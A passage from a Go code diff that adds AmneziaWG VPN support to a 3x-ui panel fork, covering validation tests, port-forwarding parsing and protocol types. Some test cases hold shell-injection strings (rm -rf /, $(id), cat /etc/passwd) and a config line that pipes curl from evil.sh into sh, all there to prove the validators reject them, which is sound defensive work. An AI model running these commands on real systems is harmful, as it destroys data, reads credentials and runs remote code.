+		t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
+	}
+	return lo, hi
+}
+
+func TestGenerateHRangesNonOverlapping(t *testing.T) {
+	for i := 0; i < 50; i++ {
+		h := generateHRanges()
+		var prevHi int64
+		for i, r := range h {
+			lo, hi, ok := strings.Cut(r, "-")
+			if !ok {
+				t.Fatalf("H%d = %q is not a range", i+1, r)
+			}
+			loN, _ := strconv.ParseInt(lo, 10, 64)
+			hiN, _ := strconv.ParseInt(hi, 10, 64)
+			if loN <= prevHi {
+				t.Fatalf("H%d = %q overlaps or touches the previous range (prev high=%d)", i+1, r, prevHi)
+			}
+			if hiN-loN < hMinWidth {
+				t.Fatalf("H%d = %q is narrower than hMinWidth=%d", i+1, r, hMinWidth)
+			}
+			prevHi = hiN
+		}
+	}
+}
+
+func validObfuscation() Obfuscation31 {
+	return GenerateObfuscation31()
+}
+
+func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
+	for i := 0; i < 50; i++ {
+		if err := ValidateObfuscation(validObfuscation()); err != nil {
+			t.Fatalf("generated obfuscation set rejected: %v", err)
+		}
+	}
+}
+
+func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
+	o := validObfuscation()
+	o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
+	}
+}
+
+func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
+	o := validObfuscation()
+	o.Jmin, o.Jmax = 50, 10
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("Jmin > Jmax must be rejected")
+	}
+}
+
+func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
+	o := validObfuscation()
+	o.S3 = 65
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("S3 > 64 must be rejected")
+	}
+	o = validObfuscation()
+	o.S4 = 33
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("S4 > 32 must be rejected")
+	}
+	o = validObfuscation()
+	o.S3, o.S4 = -1, -1
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("negative S3/S4 must be rejected")
+	}
+}
+
+func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
+	for field, set := range map[string]func(o *Obfuscation31){
+		"S1": func(o *Obfuscation31) { o.S1 = 11 },
+		"S2": func(o *Obfuscation31) { o.S2 = 11 },
+		"S3": func(o *Obfuscation31) { o.S3 = 11 },
+		"S4": func(o *Obfuscation31) { o.S4 = 11 },
+	} {
+		o := validObfuscation()
+		set(&o)
+		if err := ValidateObfuscation(o); err == nil {
+			t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
+		}
+	}
+	o := validObfuscation()
+	o.HeaderProtectionKey = ""
+	o.S3, o.S4 = 8, 4
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
+	}
+}
+
+func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
+	o := validObfuscation()
+	o.S1 = 30
+	o.S2 = o.S1 + 56
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
+	}
+}
+
+func TestValidateObfuscationRejectsBadH(t *testing.T) {
+	cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
+	for _, h := range cases {
+		o := validObfuscation()
+		o.H1 = h
+		if err := ValidateObfuscation(o); err == nil {
+			t.Fatalf("H1 = %q must be rejected", h)
+		}
+	}
+}
+
+func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
+	o := validObfuscation()
+	o.HeaderProtectionKey = ""
+	o.ContentPaddingAddition = ""
+	o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
+	o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
+	o.RandomTrailers, o.DisableCookies = false, false
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
+	}
+}
+
+func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
+	cases := []struct {
+		name   string
+		mutate func(o *Obfuscation31)
+	}{
+		{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
+		{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
+		{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
+		{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
+		{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
+		{"rekey max not below reject min", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "100-200"
+			o.RejectAfterTime = "200-300"
+		}},
+		{"single rekey value at reject min", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "180"
+			o.RejectAfterTime = "180-300"
+		}},
+		{"embedded newline splits the config line", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "110\n-140"
+			o.RejectAfterTime = "190-250"
+		}},
+		{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
+			o.RekeyAfterTime = ""
+			o.RejectAfterTime = "30-60"
+		}},
+		{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "200-300"
+			o.RejectAfterTime = ""
+		}},
+	}
+	for _, c := range cases {
+		o := validObfuscation()
+		c.mutate(&o)
+		if err := ValidateObfuscation(o); err == nil {
+			t.Errorf("%s must be rejected", c.name)
+		}
+	}
+}
+
+func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
+	cases := []struct {
+		name string
+		key  string
+	}{
+		{"not base64", "not!!!base64"},
+		{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
+		{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
+		{"control characters", "AAAA\nBBBB"},
+		// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
+		// only the explicit control-character check can catch the line wrap.
+		{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
+	}
+	for _, c := range cases {
+		o := validObfuscation()
+		o.HeaderProtectionKey = c.key
+		if err := ValidateObfuscation(o); err == nil {
+			t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
+		}
+	}
+}
+
+func TestCanonicalizeUintRange(t *testing.T) {
+	cases := []struct{ in, want string }{
+		{"110 - 140", "110-140"},
+		{"  120  ", "120"},
+		{"   ", ""},
+		{"", ""},
+		{"110-140", "110-140"},
+	}
+	for _, c := range cases {
+		if got := CanonicalizeUintRange(c.in); got != c.want {
+			t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
+		}
+	}
+}
+
+func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
+	o := validObfuscation()
+	o.ContentPaddingAddition = "32"
+	o.RekeyAfterTime = "120"
+	o.RejectAfterTime = "180"
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
+	}
+}
+
+func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
+	for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
+		if err := ValidateInterfaceName(name); err != nil {
+			t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
+		}
+	}
+}
+
+func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
+	cases := []string{
+		"eth0 -j ACCEPT; rm -rf /",
+		"eth0`whoami`",
+		"eth0$(id)",
+		"eth0|cat /etc/passwd",
+		"eth0\nMASQUERADE",
+		"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
+	}
+	for _, name := range cases {
+		if err := ValidateInterfaceName(name); err == nil {
+			t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
+		}
+	}
+}
+
+func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
+	cases := []struct {
+		ip   string
+		cidr int
+	}{
+		{"10.8.1.0", 24},
+		{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
+		{"192.168.5.10", 32},
+	}
+	for _, c := range cases {
+		if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
+			t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
+		}
+	}
+}
+
+func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
+	cases := []struct {
+		ip   string
+		cidr int
+	}{
+		{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
+		{"not-an-ip", 24},
+		{"", 24},
+		{"fd86::1", 64},  // IPv6, not IPv4
+		{"10.8.1.0", 33}, // cidr out of range
+	}
+	for _, c := range cases {
+		if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
+			t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
+		}
+	}
+}
+
+func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
+	for _, v := range []string{"", "[email protected]", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
+		if err := ValidateConfigValue("email", v); err != nil {
+			t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
+		}
+	}
+}
+
+func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
+	cases := []string{
+		"a@x\nPostUp = curl evil.sh | sh",
+		"a@x\r\n[Interface]",
+		"tab\there",
+		"a@x\x7f",
+	}
+	for _, v := range cases {
+		if err := ValidateConfigValue("email", v); err == nil {
+			t.Errorf("ValidateConfigValue(%q) must be rejected", v)
+		}
+	}
+}

+ 142 - 0
internal/amneziawg/portfwd.go

@@ -0,0 +1,142 @@
+package amneziawg
+
+import (
+	"fmt"
+	"sort"
+	"strconv"
+	"strings"
+)
+
+// portSpec is a single port (start == end) or an inclusive range start..end.
+type portSpec struct {
+	start int
+	end   int
+}
+
+// parseForwardedPorts splits a user-supplied string ("80, 443; 8000-8100")
+// into validated port specs. Tokens are separated by comma or semicolon;
+// whitespace is ignored. Invalid tokens are silently dropped — the input is
+// a free-form text field and validation is best-effort by design.
+func parseForwardedPorts(input string) []portSpec {
+	if input == "" {
+		return nil
+	}
+	input = strings.ReplaceAll(input, ";", ",")
+	tokens := strings.Split(input, ",")
+
+	var specs []portSpec
+	seen := make(map[string]struct{}, len(tokens))
+	for _, tok := range tokens {
+		tok = strings.TrimSpace(tok)
+		if tok == "" {
+			continue
+		}
+		spec, ok := parsePortToken(tok)
+		if !ok {
+			continue
+		}
+		key := fmt.Sprintf("%d-%d", spec.start, spec.end)
+		if _, dup := seen[key]; dup {
+			continue
+		}
+		seen[key] = struct{}{}
+		specs = append(specs, spec)
+	}
+	return specs
+}
+
+func parsePortToken(tok string) (portSpec, bool) {
+	if idx := strings.IndexByte(tok, '-'); idx >= 0 {
+		start, ok1 := parsePortNumber(strings.TrimSpace(tok[:idx]))
+		end, ok2 := parsePortNumber(strings.TrimSpace(tok[idx+1:]))
+		if !ok1 || !ok2 || start > end {
+			return portSpec{}, false
+		}
+		return portSpec{start: start, end: end}, true
+	}
+	p, ok := parsePortNumber(tok)
+	if !ok {
+		return portSpec{}, false
+	}
+	return portSpec{start: p, end: p}, true
+}
+
+func parsePortNumber(s string) (int, bool) {
+	n, err := strconv.Atoi(s)
+	if err != nil || n < 1 || n > 65535 {
+		return 0, false
+	}
+	return n, true
+}
+
+// ForwardedPortsInclude reports whether port is covered by any spec in a raw
+// ForwardedPorts string (a single port or an inclusive range). Used for
+// save-time validation that a client isn't about to hijack the panel's own
+// port or another inbound's port -- see
+// internal/web/service/inbound_amneziawg.go's port-conflict checks.
+//
+// Per-client port-forwarding is implemented by internal/amneziawgnet's
+// listener supervisor (PortForwardSet), which dials directly into the
+// embedded gVisor netstack toward the peer's tunnel-internal address --
+// the retired kernel-module architecture used PostUp/PostDown iptables DNAT
+// rules instead, which had no equivalent path once that architecture was
+// cut over; ExpandForwardedPorts below is what the supervisor uses to turn
+// a raw spec into the concrete ports it listens on.
+func ForwardedPortsInclude(forwardedPorts string, port int) bool {
+	for _, spec := range parseForwardedPorts(forwardedPorts) {
+		if port >= spec.start && port <= spec.end {
+			return true
+		}
+	}
+	return false
+}
+
+// MaxForwardedPorts caps how many unique ports a single client's
+// ForwardedPorts spec can expand to. internal/amneziawgnet's listener
+// supervisor opens up to two real sockets (TCP+UDP) per port, so this bounds
+// worst-case file descriptor usage to a fixed, sane amount regardless of how
+// large a stored spec claims to be -- a legacy or hand-edited "1-65535"
+// costs exactly the same as "1-100" once expansion stops at the cap.
+const MaxForwardedPorts = 100
+
+// ExpandForwardedPorts parses forwardedPorts the same way
+// ForwardedPortsInclude does and returns every unique port it covers, in
+// ascending order, capped at MaxForwardedPorts. Expansion stops the instant
+// the cap is reached rather than expanding fully and truncating afterward,
+// so this is safe to call unconditionally against arbitrary -- including
+// pre-existing, pre-cap -- stored data.
+func ExpandForwardedPorts(forwardedPorts string) []int {
+	return expandForwardedPorts(forwardedPorts, MaxForwardedPorts)
+}
+
+// ExceedsForwardedPortsCap reports whether forwardedPorts covers strictly
+// more than MaxForwardedPorts unique ports -- unlike comparing
+// len(ExpandForwardedPorts(...)) to the cap, which can never tell "exactly
+// at the cap" apart from "over it" since that expansion already truncates
+// there.
+func ExceedsForwardedPortsCap(forwardedPorts string) bool {
+	return len(expandForwardedPorts(forwardedPorts, MaxForwardedPorts+1)) > MaxForwardedPorts
+}
+
+// expandForwardedPorts is ExpandForwardedPorts with an explicit stop-count,
+// so ExceedsForwardedPortsCap can probe one past the real cap without
+// expanding an arbitrarily large legacy spec in full.
+func expandForwardedPorts(forwardedPorts string, limit int) []int {
+	seen := make(map[int]struct{}, limit)
+	ports := make([]int, 0, limit)
+outer:
+	for _, spec := range parseForwardedPorts(forwardedPorts) {
+		for p := spec.start; p <= spec.end; p++ {
+			if len(ports) >= limit {
+				break outer
+			}
+			if _, dup := seen[p]; dup {
+				continue
+			}
+			seen[p] = struct{}{}
+			ports = append(ports, p)
+		}
+	}
+	sort.Ints(ports)
+	return ports
+}

+ 102 - 0
internal/amneziawg/portfwd_test.go

@@ -0,0 +1,102 @@
+package amneziawg
+
+import (
+	"fmt"
+	"reflect"
+	"strconv"
+	"strings"
+	"testing"
+)
+
+func TestForwardedPortsInclude(t *testing.T) {
+	cases := []struct {
+		spec string
+		port int
+		want bool
+	}{
+		{"80,443", 80, true},
+		{"80,443", 443, true},
+		{"80,443", 8080, false},
+		{"8000-8100", 8050, true},
+		{"8000-8100", 7999, false},
+		{"8000-8100", 8101, false},
+		{"", 80, false},
+		{"not-a-port", 80, false},
+	}
+	for _, c := range cases {
+		if got := ForwardedPortsInclude(c.spec, c.port); got != c.want {
+			t.Errorf("ForwardedPortsInclude(%q, %d) = %v, want %v", c.spec, c.port, got, c.want)
+		}
+	}
+}
+
+func TestExpandForwardedPorts(t *testing.T) {
+	cases := []struct {
+		name string
+		spec string
+		want []int
+	}{
+		{"empty", "", nil},
+		{"malformed", "not-a-port", nil},
+		{"single ports", "443,80", []int{80, 443}},
+		{"a range", "8000-8003", []int{8000, 8001, 8002, 8003}},
+		{
+			"overlapping-but-distinct ranges dedupe and merge",
+			"80-90,85-95",
+			[]int{80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95},
+		},
+		{"mixed single ports and a range, unsorted input", "443,80-82,80", []int{80, 81, 82, 443}},
+	}
+	for _, c := range cases {
+		t.Run(c.name, func(t *testing.T) {
+			got := ExpandForwardedPorts(c.spec)
+			if len(got) == 0 && len(c.want) == 0 {
+				return
+			}
+			if !reflect.DeepEqual(got, c.want) {
+				t.Errorf("ExpandForwardedPorts(%q) = %v, want %v", c.spec, got, c.want)
+			}
+		})
+	}
+}
+
+func TestExpandForwardedPortsCapsAtMaxForwardedPorts(t *testing.T) {
+	got := ExpandForwardedPorts("1-200")
+	if len(got) != MaxForwardedPorts {
+		t.Fatalf("len(ExpandForwardedPorts(\"1-200\")) = %d, want %d", len(got), MaxForwardedPorts)
+	}
+	for i, port := range got {
+		if want := i + 1; port != want {
+			t.Fatalf("ExpandForwardedPorts(\"1-200\")[%d] = %d, want %d (expansion must stop at the cap, not truncate after expanding fully)", i, port, want)
+		}
+	}
+}
+
+func TestExpandForwardedPortsCapAppliesAcrossMultipleSpecs(t *testing.T) {
+	// A spec whose total span far exceeds the cap, split across many
+	// individually-small tokens -- proves the cap is enforced cumulatively
+	// across specs, not reset (or bypassed) per spec.
+	tokens := make([]string, 150)
+	for i := range tokens {
+		tokens[i] = strconv.Itoa(10000 + i)
+	}
+	spec := strings.Join(tokens, ",")
+	got := ExpandForwardedPorts(spec)
+	if len(got) != MaxForwardedPorts {
+		t.Fatalf("len(ExpandForwardedPorts(150 distinct single ports)) = %d, want %d", len(got), MaxForwardedPorts)
+	}
+}
+
+func TestExceedsForwardedPortsCap(t *testing.T) {
+	atCap := fmt.Sprintf("1-%d", MaxForwardedPorts)
+	if ExceedsForwardedPortsCap(atCap) {
+		t.Fatalf("a spec covering exactly %d ports is AT the cap, not over it", MaxForwardedPorts)
+	}
+	overCap := fmt.Sprintf("1-%d", MaxForwardedPorts+1)
+	if !ExceedsForwardedPortsCap(overCap) {
+		t.Fatalf("a spec covering %d ports must be reported as exceeding the cap", MaxForwardedPorts+1)
+	}
+	if ExceedsForwardedPortsCap("1-10") {
+		t.Fatal("a small spec must not be reported as exceeding the cap")
+	}
+}

+ 245 - 0
internal/amneziawg/types.go

@@ -0,0 +1,245 @@
+// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
+// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
+// pure functions that derive an Instance from a stored inbound row. It has
+// no OS dependency of its own: internal/amneziawgnet embeds amneziawg-go
+// over a gVisor netstack and owns the actual running interfaces, one
+// Manager-managed Device per desired Instance -- see that package's Manager
+// for the reconcile-on-tick lifecycle (modeled on internal/mtproto's own
+// Manager), and instance.go's own doc comment for how this package's role
+// narrowed to protocol-shape-only after the kernel-module (DKMS) + awg-quick
+// architecture this fork originally shipped was retired.
+package amneziawg
+
+import "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+
+// Obfuscation31 is an AmneziaWG 3.1 obfuscation parameter set (junk packets,
+// padding, magic headers, the five CPS signature-packet slots, and the 3.x
+// header-protection/content-padding/timing/boolean fields). The same values
+// must be applied on both ends of a tunnel, so the server stores them and
+// every client config inherits them verbatim.
+type Obfuscation31 struct {
+	Jc   int    `json:"jc"`
+	Jmin int    `json:"jmin"`
+	Jmax int    `json:"jmax"`
+	S1   int    `json:"s1"`
+	S2   int    `json:"s2"`
+	S3   int    `json:"s3"`
+	S4   int    `json:"s4"`
+	H1   string `json:"h1"`
+	H2   string `json:"h2"`
+	H3   string `json:"h3"`
+	H4   string `json:"h4"`
+	// I1-I5 are the real protocol's five CPS signature-packet slots
+	// (confirmed against amneziawg-go v3.0.3's device/uapi.go: "i1"
+	// through "i5" are five independent UAPI setters, device.ipackets[0..4],
+	// all parsed via the identical newObfChain grammar).
+	I1 string `json:"i1,omitempty"`
+	I2 string `json:"i2,omitempty"`
+	I3 string `json:"i3,omitempty"`
+	I4 string `json:"i4,omitempty"`
+	I5 string `json:"i5,omitempty"`
+
+	// HeaderProtectionKey is a base64 32-byte key shared by both ends; the
+	// ranges/booleans below are 3.x-only and optional.
+	HeaderProtectionKey    string `json:"headerProtectionKey,omitempty"`
+	ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
+	RekeyAfterTime         string `json:"rekeyAfterTime,omitempty"`
+	RekeyTimeout           string `json:"rekeyTimeout,omitempty"`
+	RejectAfterTime        string `json:"rejectAfterTime,omitempty"`
+	KeepaliveTimeout       string `json:"keepaliveTimeout,omitempty"`
+	MaxHandshakeAttempts   string `json:"maxHandshakeAttempts,omitempty"`
+	RandomTrailers         bool   `json:"randomTrailers,omitempty"`
+	DisableCookies         bool   `json:"disableCookies,omitempty"`
+}
+
+// Peer is one desired AmneziaWG peer: a client device the interface accepts.
+// Email attributes traffic and online status back to the owning client, the
+// same role SecretEntry.Name plays for mtproto.
+type Peer struct {
+	Email        string
+	PublicKey    string
+	PresharedKey string
+	AllowedIPs   []string
+
+	// ForwardedPorts is a raw, user-supplied port list ("80, 443, 8000-8100")
+	// forwarded to this peer's tunnel address by internal/amneziawgnet's
+	// PortForwardSet listener supervisor. Empty means no port-forwarding.
+	ForwardedPorts string
+}
+
+// Instance is the desired runtime configuration of one AmneziaWG inbound: a
+// single interface (e.g. awg1) with a set of peers, mirroring how one mtproto
+// inbound maps to one mtg process (internal/mtproto.Instance).
+type Instance struct {
+	Id            int
+	Tag           string
+	InterfaceName string
+	ListenPort    int
+	PrivateKey    string
+	PublicKey     string
+	// Address holds the interface's own tunnel address(es), e.g. "10.8.1.1/24".
+	// Carries both the IPv4 and (when enabled) IPv6 server address.
+	Address []string
+	MTU     int
+
+	// Obfuscation carries the full AmneziaWG 3.1 parameter set, including
+	// the 3.x header-protection/content-padding/timing/boolean fields (see
+	// Obfuscation31's own doc comment) -- amneziawgnet.DeviceOptions is
+	// what actually consumes it when building the embedded Device's UAPI
+	// config.
+	Obfuscation Obfuscation31
+
+	Peers []Peer
+
+	// ExternalInterface named the host NIC PostUp/PostDown NAT rules
+	// attached to under the retired kernel-module architecture. Also the
+	// fallback host NIC internal/amneziawgnet's IPv6-address-alias
+	// mechanism (desiredV6Aliases) uses when IPv6ExternalInterface is left
+	// blank.
+	ExternalInterface string
+
+	// IPv6Enabled/IPv6ExternalInterface gate internal/amneziawgnet's
+	// IPv6-address-alias mechanism (desiredV6Aliases,
+	// internal/web/service/xray.go's injectAmneziawgV6Egress): each peer
+	// with an IPv6 AllowedIPs entry gets that address aliased onto this
+	// host NIC (ip -6 addr add) and a dedicated Xray freedom outbound bound
+	// to it, giving that peer's own outbound connections a distinct public
+	// source identity. Narrower in scope than these identically-named
+	// fields' role under the retired kernel-module architecture, which used
+	// per-peer NDP-proxy entries (ip -6 neigh add proxy) to also support
+	// unsolicited inbound connections toward the peer -- that capability is
+	// the separate, not-yet-built Phase 3.6 (port-forwarding).
+	IPv6Enabled           bool
+	IPv6ExternalInterface string
+
+	// RouteThroughXray gated the kernel-module architecture's opt-in
+	// TPROXY-into-Xray bridge. The embedded path (internal/amneziawgnet)
+	// has no equivalent opt-in at all -- every peer's traffic already goes
+	// through Xray's own SOCKS5 inbound unconditionally, since there's no
+	// other way for decapsulated gVisor traffic to reach the real internet
+	// -- so this field is now vestigial: read from existing stored settings
+	// for backward compatibility, but not acted on by anything. Slated for
+	// removal alongside the frontend toggle in a follow-up.
+	RouteThroughXray bool
+}
+
+// ServerSettings is the "server" block of an AmneziaWG inbound's Settings
+// JSON: the interface-level configuration shared by every client/peer. The
+// listen port is deliberately not duplicated here — it lives on the inbound
+// row itself (Inbound.Port), like every other protocol.
+type ServerSettings struct {
+	PrivateKey string `json:"privateKey"`
+	PublicKey  string `json:"publicKey"`
+
+	SubnetIP   string `json:"subnetIp"`
+	SubnetCIDR int    `json:"subnetCidr"`
+	MTU        int    `json:"mtu,omitempty"`
+
+	// PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is
+	// meaningful, so no omitempty: a dropped key resurrects frontend defaults.
+	PrimaryDNS   string `json:"primaryDns"`
+	SecondaryDNS string `json:"secondaryDns"`
+
+	// ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live
+	// again as of Phase 3.5 -- see the matching fields on Instance for what
+	// they gate (internal/amneziawgnet's IPv6-address-alias mechanism).
+	// IPv6Subnet was never actually vestigial either: InstanceFromInbound
+	// already consumes it (via serverAddressV6) to build the server's own
+	// tunnel address, same as always. Only RouteThroughXray, below, remains
+	// genuinely vestigial as of the hard cutover to the embedded path
+	// (internal/amneziawgnet) -- read from existing stored settings for
+	// backward compatibility, but not acted on by anything.
+	ExternalInterface string `json:"externalInterface,omitempty"`
+
+	IPv6Enabled           bool   `json:"ipv6Enabled,omitempty"`
+	IPv6Subnet            string `json:"ipv6Subnet,omitempty"`
+	IPv6ExternalInterface string `json:"ipv6ExternalInterface,omitempty"`
+
+	RouteThroughXray bool `json:"routeThroughXray,omitempty"`
+
+	// Obfuscation31's fields, repeated flat (not embedded) rather than
+	// nested under their own key: encoding/json would happily inline an
+	// embedded Obfuscation31 the same way, but the frontend's Go->Zod/TS
+	// generator (tools/openapigen) does not — it emits a genuinely nested
+	// `obfuscation31` object, which would silently diverge from the real
+	// wire JSON. See Obfuscation() below for the manager-facing conversion.
+	Jc   int    `json:"jc"`
+	Jmin int    `json:"jmin"`
+	Jmax int    `json:"jmax"`
+	S1   int    `json:"s1"`
+	S2   int    `json:"s2"`
+	S3   int    `json:"s3"`
+	S4   int    `json:"s4"`
+	H1   string `json:"h1"`
+	H2   string `json:"h2"`
+	H3   string `json:"h3"`
+	H4   string `json:"h4"`
+	I1   string `json:"i1,omitempty"`
+	I2   string `json:"i2,omitempty"`
+	I3   string `json:"i3,omitempty"`
+	I4   string `json:"i4,omitempty"`
+	I5   string `json:"i5,omitempty"`
+
+	// HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0
+	// fields, flat and top-level for the same tools/openapigen reason as
+	// the block above; Obfuscation() below folds them back into
+	// Obfuscation31's own identically named fields.
+	// HeaderProtectionKey is a base64 32-byte key; empty (the default)
+	// disables AWG 3.0 header protection. A non-empty value requires
+	// every one of S1-S4 above to be >= 12 -- ValidateObfuscation
+	// enforces this at save time, not just at IpcSet time.
+	// ContentPaddingAddition is a "low-high" range or bare integer, the
+	// same grammar and uint32 cap as H1-H4.
+	HeaderProtectionKey    string `json:"headerProtectionKey,omitempty"`
+	ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
+
+	// RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/
+	// MaxHandshakeAttempts mirror Instance's identically named fields --
+	// see that type's own doc comment for the grammar/width/real-default
+	// details. Flat and top-level for the same tools/openapigen reason as
+	// the rest of this struct.
+	RekeyAfterTime       string `json:"rekeyAfterTime,omitempty"`
+	RekeyTimeout         string `json:"rekeyTimeout,omitempty"`
+	RejectAfterTime      string `json:"rejectAfterTime,omitempty"`
+	KeepaliveTimeout     string `json:"keepaliveTimeout,omitempty"`
+	MaxHandshakeAttempts string `json:"maxHandshakeAttempts,omitempty"`
+
+	// RandomTrailers/DisableCookies mirror Instance's identically named
+	// AmneziaWG 3.1 fields -- see that type's own doc comment for the real
+	// protocol/interop details. Both real bool fields (not omitempty):
+	// buildUAPIConfig always emits both lines explicitly so the
+	// reconfigure-in-place diff correctly notices a true->false edit, not
+	// just false->true.
+	RandomTrailers bool `json:"randomTrailers"`
+	DisableCookies bool `json:"disableCookies"`
+}
+
+// Obfuscation extracts the Obfuscation31 parameter set from a ServerSettings
+// block, for callers (the Manager, ValidateObfuscation) that want the
+// grouped type rather than the flat wire fields.
+func (s ServerSettings) Obfuscation() Obfuscation31 {
+	return Obfuscation31{
+		Jc: s.Jc, Jmin: s.Jmin, Jmax: s.Jmax,
+		S1: s.S1, S2: s.S2, S3: s.S3, S4: s.S4,
+		H1: s.H1, H2: s.H2, H3: s.H3, H4: s.H4,
+		I1: s.I1, I2: s.I2, I3: s.I3, I4: s.I4, I5: s.I5,
+		HeaderProtectionKey:    s.HeaderProtectionKey,
+		ContentPaddingAddition: s.ContentPaddingAddition,
+		RekeyAfterTime:         s.RekeyAfterTime,
+		RekeyTimeout:           s.RekeyTimeout,
+		RejectAfterTime:        s.RejectAfterTime,
+		KeepaliveTimeout:       s.KeepaliveTimeout,
+		MaxHandshakeAttempts:   s.MaxHandshakeAttempts,
+		RandomTrailers:         s.RandomTrailers,
+		DisableCookies:         s.DisableCookies,
+	}
+}
+
+// InboundSettings is the full Settings JSON shape stored on an AmneziaWG
+// inbound row: one server block plus the usual generic client list, so bulk
+// operations, the QR modal and subscriptions all come from the same shared
+// infrastructure every other protocol uses.
+type InboundSettings struct {
+	Server  *ServerSettings `json:"server"`
+	Clients []model.Client  `json:"clients"`
+}

+ 274 - 0
internal/amneziawgnet/device.go

@@ -0,0 +1,274 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"strings"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// defaultMTU matches internal/amneziawg's own kernel-module interface
+// default -- 1420, WireGuard/AmneziaWG's usual accounting for tunnel
+// encapsulation overhead on a standard 1500-byte-MTU host link.
+const defaultMTU = 1420
+
+// DeviceOptions carries AmneziaWG 3.0's device-wide fields (header
+// protection, content padding, and the five session-timing knobs) --
+// mirrored from amneziawg.Instance's identically named fields by every
+// caller (see the 3 Desired{} call sites), not read from Instance
+// directly, since amneziawgnet has no dependency on internal/amneziawg
+// beyond the plain data types it already imports. Zero-value DeviceOptions
+// means amneziawg-go's own real-protocol defaults throughout: classic
+// (non-3.0) obfuscation, and its built-in session timings (120s/5s/180s/
+// 10s/18 attempts -- device/constants.go).
+type DeviceOptions struct {
+	// HeaderProtectionKey is a base64 32-byte key. Empty disables AWG 3.0
+	// header protection entirely. Non-empty requires every one of
+	// Obfuscation31.S1-S4 to be >= 12 (amneziawg-go's own HeaderCipherNonceSize
